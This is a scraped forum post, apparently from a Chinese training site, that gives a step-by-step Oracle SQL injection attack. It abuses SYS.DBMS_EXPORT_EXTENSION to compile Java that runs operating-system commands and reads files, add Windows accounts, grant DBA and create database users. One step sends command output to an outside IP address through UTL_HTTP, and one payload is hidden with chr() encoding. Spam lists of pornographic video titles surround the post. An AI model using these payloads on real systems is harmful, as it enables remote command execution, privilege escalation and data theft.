久久精品在这里_成人99免费视频_国产激情视频一区二区在线观看_国产伦精品一区二区三区免费 _亚洲午夜免费福利视频_色狠狠色狠狠综合_av在线综合网_91毛片在线观看_欧美视频一区二区在线观看_极品美女销魂一区二区三区免费_国产亚洲欧美激情_在线免费观看不卡av_日韩不卡一区二区三区_91精品国产麻豆国产自产在线_亚洲国产精品一区二区久久恐怖片_a4yy欧美一区二区三区


曙海教育集團論壇開發語言培訓專區Oracle數據庫 → 犀利的 oracle 注入技術


  共有62458人關注過本帖樹形打印

主題:犀利的 oracle 注入技術

美女呀,離線,留言給我吧!
wangxinxin
  1樓 個性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


加好友 發短信
等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
犀利的 oracle 注入技術  發帖心情 Post By:2010-12-11 11:04:20

介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創建函數
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權限
給用戶SYSTEM執行權限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執行函數
select RunCMD2('cmd /c dir') from dual

支持(0中立(0反對(0單帖管理 | 引用 | 回復 回到頂部

返回版面帖子列表

犀利的 oracle 注入技術








簽名
久久精品在这里_成人99免费视频_国产激情视频一区二区在线观看_国产伦精品一区二区三区免费 _亚洲午夜免费福利视频_色狠狠色狠狠综合_av在线综合网_91毛片在线观看_欧美视频一区二区在线观看_极品美女销魂一区二区三区免费_国产亚洲欧美激情_在线免费观看不卡av_日韩不卡一区二区三区_91精品国产麻豆国产自产在线_亚洲国产精品一区二区久久恐怖片_a4yy欧美一区二区三区
国产精品久久久久久久久久直播 | 久久久久久国产精品一区| 日韩成人免费电影| 国产天堂亚洲国产碰碰| 欧美性生活一区| 欧美主播一区二区三区美女 久久精品人| 国产精品一二二区| 视频一区免费在线观看| 中文字幕日韩一区| 精品国产乱码久久久久久1区2区 | 日韩精品一区国产麻豆| 色悠悠久久综合| 久久久久久亚洲精品不卡4k岛国| 风流少妇一区二区| 精品亚洲免费视频| 亚洲图片欧美综合| 国产精品久久久久久久久搜平片| 日韩欧美国产一区二区在线播放| 色婷婷激情久久| 日韩欧美亚洲在线| 九九九九九九精品| 91蜜桃视频在线| 丁香另类激情小说| 国产综合色精品一区二区三区| 亚洲亚洲精品在线观看| 亚洲丝袜自拍清纯另类| 国产欧美日韩精品一区| 精品欧美久久久| 91精品久久久久久蜜臀| 欧洲色大大久久| 亚洲欧美精品在线观看| 欧美在线视频二区| 久久久国产精品一区二区三区| 91久久大香伊蕉在人线| 成人一级视频在线观看| 国产一区二区久久| 久久99久久99小草精品免视看| 日韩电影免费一区| 婷婷中文字幕综合| 天涯成人国产亚洲精品一区av| 亚洲乱码精品一二三四区日韩在线| 国产精品视频在线看| 日本一区二区电影| 欧美经典一区二区| 欧美国产精品久久| 国产日韩在线不卡| 国产三级欧美三级| 日本一区二区三区四区在线视频| 久久亚洲私人国产精品va媚药| 欧美v国产在线一区二区三区| 日韩精品专区在线影院重磅| 日韩三级精品电影久久久| 91精品麻豆日日躁夜夜躁| 777亚洲妇女| 日韩欧美精品三级| 精品日韩av一区二区| 久久综合九色综合欧美亚洲| 国产三级一区二区三区| 中文av一区二区| 国产精品国产自产拍高清av| 亚洲手机成人高清视频| 一区二区三区日韩欧美精品| 亚洲国产日韩在线一区模特| 日韩成人dvd| 蜜臀av性久久久久蜜臀aⅴ流畅 | 风间由美一区二区av101| 高清在线成人网| 91亚洲精品乱码久久久久久蜜桃 | 国产精品久久久久久久免费大片| http;//www.99re视频| 国产精品免费区二区三区观看| 极品日韩久久| 日本一区视频在线播放| 色综合久久综合| 7777精品伊人久久久大香线蕉经典版下载 | 亚洲日本无吗高清不卡| 在线免费一区三区| 欧美精品在线观看一区二区| 欧美mv和日韩mv的网站| 国产精品午夜久久| 亚洲国产色一区| 精品一区二区在线视频| hitomi一区二区三区精品| 国产精品二区三区四区| 日韩精品福利视频| 欧美三级电影在线观看| 日韩免费视频线观看| 国产精品久久三区| 亚洲福利电影网| 国产一区福利在线| 91超碰在线电影| 日本欧美精品久久久| 欧美在线免费观看视频| 日韩欧美一卡二卡| 国产精品区一区二区三| 午夜精品福利久久久| 国产精一品亚洲二区在线视频| 99天天综合性| 日本视频一区二区不卡| 欧美日韩国产精选| 欧美国产1区2区| 日韩国产成人精品| 99久久99久久精品免费观看| 欧美精品与人动性物交免费看| 欧日韩精品视频| 久久久久国产免费免费| 亚洲电影视频在线| 国产成人一区二区精品非洲| 国产一区二区精品在线| 日本乱人伦aⅴ精品| 2021国产精品久久精品| 亚洲国产wwwccc36天堂| 懂色av一区二区夜夜嗨| 欧美精品七区| 91麻豆精品久久久久蜜臀| 国产精品久线观看视频| 免费人成精品欧美精品| 5g国产欧美日韩视频| 在线视频不卡国产| 国产午夜精品一区二区三区四区| 天天影视网天天综合色在线播放| 成人av网址在线| 四虎影视永久免费在线观看一区二区三区| 777亚洲妇女| 亚洲精品成人天堂一二三| 国产成人综合网站| 日本在线视频一区| 欧美成人video| 午夜不卡av在线| 91亚洲精品丁香在线观看| 91久久人澡人人添人人爽欧美| 久久久久国产免费免费| 蜜桃av一区二区三区电影| 国产a一区二区| 欧美日韩国产影片| 亚洲精品欧美专区| 成人激情综合网站| 亚洲综合av一区| 欧美激情中文不卡| 久久成人免费电影| 免费国产一区二区| 欧美成人猛片aaaaaaa| 亚洲成av人片一区二区三区| 91丨九色丨尤物| 欧美日韩黄色一区二区| 一区二区三区四区国产精品| 成人国产免费视频| 一本一本久久a久久精品综合麻豆| 欧美韩国日本综合| 国产精一区二区三区| 亚洲午夜精品一区二区| 国产欧美日本一区视频| 国内精品久久久久影院一蜜桃| 欧美日韩在线不卡一区| 久久先锋影音av| 激情综合网av| 亚洲a∨一区二区三区| 欧美激情在线看| 高清在线不卡av| 日本韩国视频一区二区| 亚洲免费观看高清| 91麻豆精品秘密| 欧美一区二区三区四区久久| 日本成人在线一区| 欧美国产视频在线观看| 久久久精品免费观看| 国产经典欧美精品| 在线观看免费视频综合| 亚洲影院理伦片| 国产一区二区三区黄| 久久久久久久久久久久久夜| 国产伦精品一区二区三区在线观看| 中国一区二区三区| 亚洲资源在线观看| 快播亚洲色图| 国产欧美精品一区二区色综合朱莉 | 极品销魂美女一区二区三区| 亚洲国产一区二区三区在线| 亚洲欧美综合另类在线卡通| 97免费资源站| 亚洲精品一区二区三区香蕉| 国产白丝精品91爽爽久久| 欧洲av在线精品| 日本午夜一本久久久综合| 涩涩涩999| 亚洲日本成人在线观看| 国产精品久久久久av福利动漫| 2014亚洲片线观看视频免费| 成人综合在线观看| 91精品国产色综合久久不卡蜜臀 | 91美女在线观看| 欧美草草影院在线视频| 国产精品91一区二区| 欧美三级电影一区| 捆绑紧缚一区二区三区视频| 日本韩国一区二区| 麻豆免费看一区二区三区| 一区二区冒白浆视频| 婷婷久久综合九色综合绿巨人 | 国产精品视频yy9299一区|